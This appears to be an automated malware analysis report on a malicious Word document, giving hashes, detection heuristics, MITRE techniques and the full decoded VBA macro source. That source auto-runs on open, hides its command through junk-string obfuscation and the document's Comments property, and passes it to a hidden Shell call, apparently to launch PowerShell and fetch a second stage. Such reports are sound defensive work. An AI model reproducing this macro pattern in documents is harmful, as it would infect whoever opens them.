Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4240624e1cc75283…

MALICIOUS

Office (OLE)

61.0 KB Created: 2017-10-03 13:07:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 639cb3b0112e6d6566460389cf21d0fe SHA-1: 4fdbd28baf44320b4e42cd2331638ee17e191105 SHA-256: 4240624e1cc752833f473d27d54279415148ff8e825b8cf0889b7fdae117004a
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers obfuscated VBA code that references PowerShell, indicating an attempt to execute commands. This is further supported by the ClamAV detection name 'Doc.Macro.DollarShell-6346616-0', suggesting a shell execution capability. The primary goal appears to be downloading and executing a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    NTPbTaZS = "cgPMsxMR" + "ZVesfVEfTEZ" + "DEEzzBd" + "Btrxvnr" + "GURSaXdbPC" + "KHzYYZDKfe" + "NarBeFa" + aXvCHSUmngW = "rmsHPgmGA" + "AbgmDRkZr" + "ZAVcUDwEf" + "XdELpzgBP" + "nwfYGTc" + "LYuYtncuud" + "hdtFVyyx" + BeyGbpyz = "yVCnAesS" + "EgUUGPAexNV" + "bpPhgxhTa" + "uyaeEUw" + "RuNGAFEbKT" + "xcDKHNvayr" + "YnCkhWZtt" + HDFVfExYS = "ZCzRNFfP" + "vNmaErDrSr" + "bCMFDGxv" + "gzGWBRvt" + "ANpDtrYLF" + "cLAVtMzy" + "cezRkRY" + ufpZhfn = "DKTAhMVH" + "nXpVMZNFk" + "YruYZUyskY" + "FGAwavvf" + "DBY …
    VBA.Shell$ "" + pUtVHLyLZPD + DfaCVEmHar + ZSbkAewtb + rYuLcFV + YrkRRPVBt + CVffsnV + nRUyDYanhr + wHxErPgMwzh + ZLMDpbD + ZwgfrDzsYSc + WzmmPEkdWt + REByNVVZEYF + ActiveDocument.BuiltInDocumentProperties("Comments") + pUtVHLyLZPD + DfaCVEmHar + ZSbkAewtb + rYuLcFV + YrkRRPVBt + CVffsnV + nRUyDYanhr + wHxErPgMwzh + ZLMDpbD + ZwgfrDzsYSc + WzmmPEkdWt + REByNVVZEYF + bETGPND, 0
    fbVWyxGAZ = "cbWXMABAe" + "fexZNHXBwE" + "GtwXGxF" + "xZSLFMucx" + "VGgYcsdy" + "KWLRTprm" + "McMDdtFR" + bnFVmLZN = "SGdxAvYVbb" + "zMwNeuxatDp" + "xUuaXCvHXEw" + "bNezbpwvYT" + "untWVaYDk" + "tkXsRVnVA" + "xZwBsyE" + EzEwbbZTTR = "XNbAzPBTdL" + "rZpWsmSWLE" + "WFcbVTSMFpf" + "cLhEGHzphh" + "gNnYrGNuDSP" + "PWgPNMkHL" + "MnGCkKnPB" + ChXdCyKtU = "ZdDagGMaD" + "ybAmpCgfwka" + "FXRLVXz" + "rEARzzePNnE" + "wNExPtrCpP" + "wcXLbexSaE" + "EddhaWp" + "TUPDMpVvGfA"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub autoopen()
    yNALUxWm
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4744 bytes
SHA-256: 62d7ebbdb48ff17bef810081c289a3dd2e470bb7e1aca9766b5e160672e11669
Detection
ClamAV: No threats found
Obfuscation or payload: likely
270 of 320 identifiers look randomly generated (e.g. 'FhDYsRDpLSd') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
yNALUxWm
End Sub
Function yNALUxWm()
SXKtkBXad = "CsTTNmShR" + "UTDFLPuEnKK" + "yaGGyruewHy" + "wxZgETnH" + "uUFrtyXH" + "tnTvaSeew" + "pNENnsrAy" + WdynKCE = "amMbfTbZwn" + "BHCzeGpua" + "eAGnLSt" + "FVNfyZdzgFG" + "rGLXPLD" + "ayvkYMMWg" + "skFLkpANWmr" + nxdbTYE = "BGpMMEW" + "NPXUvDnVw" + "MdHUDNGRBut" + "bMKzWtDsd" + "UWwBBNWfzV" + "kanDwDH" + "SrWCgwUBcL" + kFvSNVDk = "eXLLCFP" + "bWzzpCvDTf" + "SwRkHaArK" + "wVAmtSwDhU" + "NHgvzyp" + "FBKLDwxrTPV" + "dcDufyKWnA" + PPSDzKzhwz = "ktFmEnGPHLt" + "sKTaCpLxyRU" + "ZyHaxdYGSak" + "YKGkrYfMU" + "usVdKnb" + "MkZSWEhD" + "APFVXdd" + "uRMgyeCFY"
zDKefZpsR = "eRNBCmm" + "rxBVMnRAgkD" + "VTHGduXkRZ" + "twWRdxxAafM" + "DSfmxZcugM" + "PVvpYswt" + "HmtbAue" + ALuuRKEKn = "chSztXrNxs" + "KZHsRXLnyWx" + "tpMHRnVPUY" + "WuttfYs" + "PbLdzaRWANb" + "wbyxyrXDCS" + "uKemSdWHK" + bGDLgKY = "UMwvZAPaNwy" + "kLNCSgcNfg" + "PMZhUWazRRY" + "YtrVgSHW" + "CmveTmW" + "ypCnXRUrN" + "YzpPEMpCH" + sfHkNUfVNkY = "cgxEHrF" + "zwTHHbd" + "UuGTMKDtF" + "caxFgwgMYAp" + "pKduMPyDBkc" + "hgGtEkNDXZX" + "HfFhgEYD" + "uFWXAGKtLaa"
mGxMfLzfccL = "kcfateGae" + "FAgNMWCtsY" + "keCWZpWV" + "PVxhDkgyM" + "AAPKAVbWzLF" + "WRVxeTZSNc" + "uKNXkBsUmfS" + hBHkgPnYKYZ = "czETWKgp" + "eERacfavKBf" + "BTdTnBKK" + "dWkwsrK" + "wmzDhLbFSZB" + "NESzuzAkDfV" + "TkznmeBFCk" + ABRYrzgRp = "yGmYupUf" + "MDSGVyEu" + "CURHWtHxTBY" + "shteNVwn" + "wvktaxMaH" + "TsAUBZcRMA" + "RzmsZAmxKbK" + MLGUZARxuc = "NsBAXFNXwEB" + "TvVUaUv" + "wBtUdKeLnet" + "MMzvTZaMb" + "MDxhsRSN" + "upYbtUzZecV" + "EuFfGBAx" + PFrTeMR = "DnFdhNLcRP" + "vZvTwWzgbN" + "dAbRyyH" + "xERFfpFPK" + "DEdyUXCx" + "HrkcTuzWXWG" + "rzHPBmpaxNz" + "YhFHVSfMC"
NTPbTaZS = "cgPMsxMR" + "ZVesfVEfTEZ" + "DEEzzBd" + "Btrxvnr" + "GURSaXdbPC" + "KHzYYZDKfe" + "NarBeFa" + aXvCHSUmngW = "rmsHPgmGA" + "AbgmDRkZr" + "ZAVcUDwEf" + "XdELpzgBP" + "nwfYGTc" + "LYuYtncuud" + "hdtFVyyx" + BeyGbpyz = "yVCnAesS" + "EgUUGPAexNV" + "bpPhgxhTa" + "uyaeEUw" + "RuNGAFEbKT" + "xcDKHNvayr" + "YnCkhWZtt" + HDFVfExYS = "ZCzRNFfP" + "vNmaErDrSr" + "bCMFDGxv" + "gzGWBRvt" + "ANpDtrYLF" + "cLAVtMzy" + "cezRkRY" + ufpZhfn = "DKTAhMVH" + "nXpVMZNFk" + "YruYZUyskY" + "FGAwavvf" + "DBYKEeGknaa" + "RPkmvWD" + "dNsBSAG" + UnBLWBBfe = "SYXNPMc" + "sYDTffd" + "ANtsZHTNSZ" + "rVxwEfBhD" + "SscBaLmS" + "fckLdPpW" + "PtFERKkrELp" + "sTkDWCH"
VBA.Shell$ "" + pUtVHLyLZPD + DfaCVEmHar + ZSbkAewtb + rYuLcFV + YrkRRPVBt + CVffsnV + nRUyDYanhr + wHxErPgMwzh + ZLMDpbD + ZwgfrDzsYSc + WzmmPEkdWt + REByNVVZEYF + ActiveDocument.BuiltInDocumentProperties("Comments") + pUtVHLyLZPD + DfaCVEmHar + ZSbkAewtb + rYuLcFV + YrkRRPVBt + CVffsnV + nRUyDYanhr + wHxErPgMwzh + ZLMDpbD + ZwgfrDzsYSc + WzmmPEkdWt + REByNVVZEYF + bETGPND, 0
fbVWyxGAZ = "cbWXMABAe" + "fexZNHXBwE" + "GtwXGxF" + "xZSLFMucx" + "VGgYcsdy" + "KWLRTprm" + "McMDdtFR" + bnFVmLZN = "SGdxAvYVbb" + "zMwNeuxatDp" + "xUuaXCvHXEw" + "bNezbpwvYT" + "untWVaYDk" + "tkXsRVnVA" + "xZwBsyE" + EzEwbbZTTR = "XNbAzPBTdL" + "rZpWsmSWLE" + "WFcbVTSMFpf" + "cLhEGHzphh" + "gNnYrGNuDSP" + "PWgPNMkHL" + "MnGCkKnPB" + ChXdCyKtU = "ZdDagGMaD" + "ybAmpCgfwka" + "FXRLVXz" + "rEARzzePNnE" + "wNExPtrCpP" + "wcXLbexSaE" + "EddhaWp" + "TUPDMpVvGfA"
WYrTEefYH = "eHDkaNSgT" + "YwSdgwwUrRd" + "ZhPDGThyCvF" + "csThpVH" + "PFNLFnXGZCh" + "EgPgsrzE" + "YNBfPeEx" + aArsZraS = "PxNUyCrLe" + "MFXEpTw" + "ygcRwmny" + "PRUDXbf" + "FhYpDFM" + "nFwhTueHpP" + "hkKkeNzU" + wXEerNzP = "GAbWrmWrxZg" + "vdPdYZxSCTv" + "hHrDkPtcrW" + "wTkhrLFFvV" + "fzffXgvvFd" + "nmhhXrFfKH" + "frfHatw" + aTmpPXce = "MTsNgKSZv" + "VuCufxAYyW" + "gfpPCCHz" + "PhyBLUfv" + "MnwCFcne" + "graRzmaGyY" + "MdaPUmmrcD" + "ZeSTEDRbXk"
taKShHThzU = "WcVCwPbumR" + "RcLSFLdVvb" + "UTrKPrWN" + "YpNrzFkuVh" + "rugXGMe" + "BuXWkXg" + "KrrybrcTs" + EuvWCbkRKu = "xcFYYzNE" + "SHetcCwYn" + "vghUzvZVVtx" + "kALzZdP" + "hCghLbcKd" + "uBRVVPfWkZ" + "xUtSsZsS" + "ZLxVnnRDM"
LrkTyAWXgCw = "mtMdytT" + "pMAFrdemg" + "AdeMVYduCGT" + "ryPktAf" + "TsrkMvtvY" + "eeRLsuM" + "xnUpCUMbFW" + RnECcUsZA = "pHSMFwh" + "NNDgLmZ" + "TEzUydKkFLP" + "DFtXmbcW" + "LbEzAuVpwe" + "FhDYsRDpLSd" + "hmBBAffv" + HBLfzmddY = "sBwBpFRf" + "xmrWVMVCs" + "DUhbTKtbpGd" + "htVsZwdCNvb" + "eCzDwkAFTf" + "fHHxBDu" + "cfZEntLY" + WNvAXtrTFR = "ytDKSgAuU" + "nSGbvEtTHA" + "ktLwHYbRL" + "FHbGXbE" + "BNnrttCccD" + "ztSVWDYwFv" + "KDBsnrK" + bwLwhhr = "MUWfEGc" + "xMeCLEYD" + "EddWYsbTgPV" + "UxdNNMruRxL" + "fEurXztKGk" + "Gwzsncw" + "RKaCEVhLZys" + "sbHAmDmfVcH"
End Function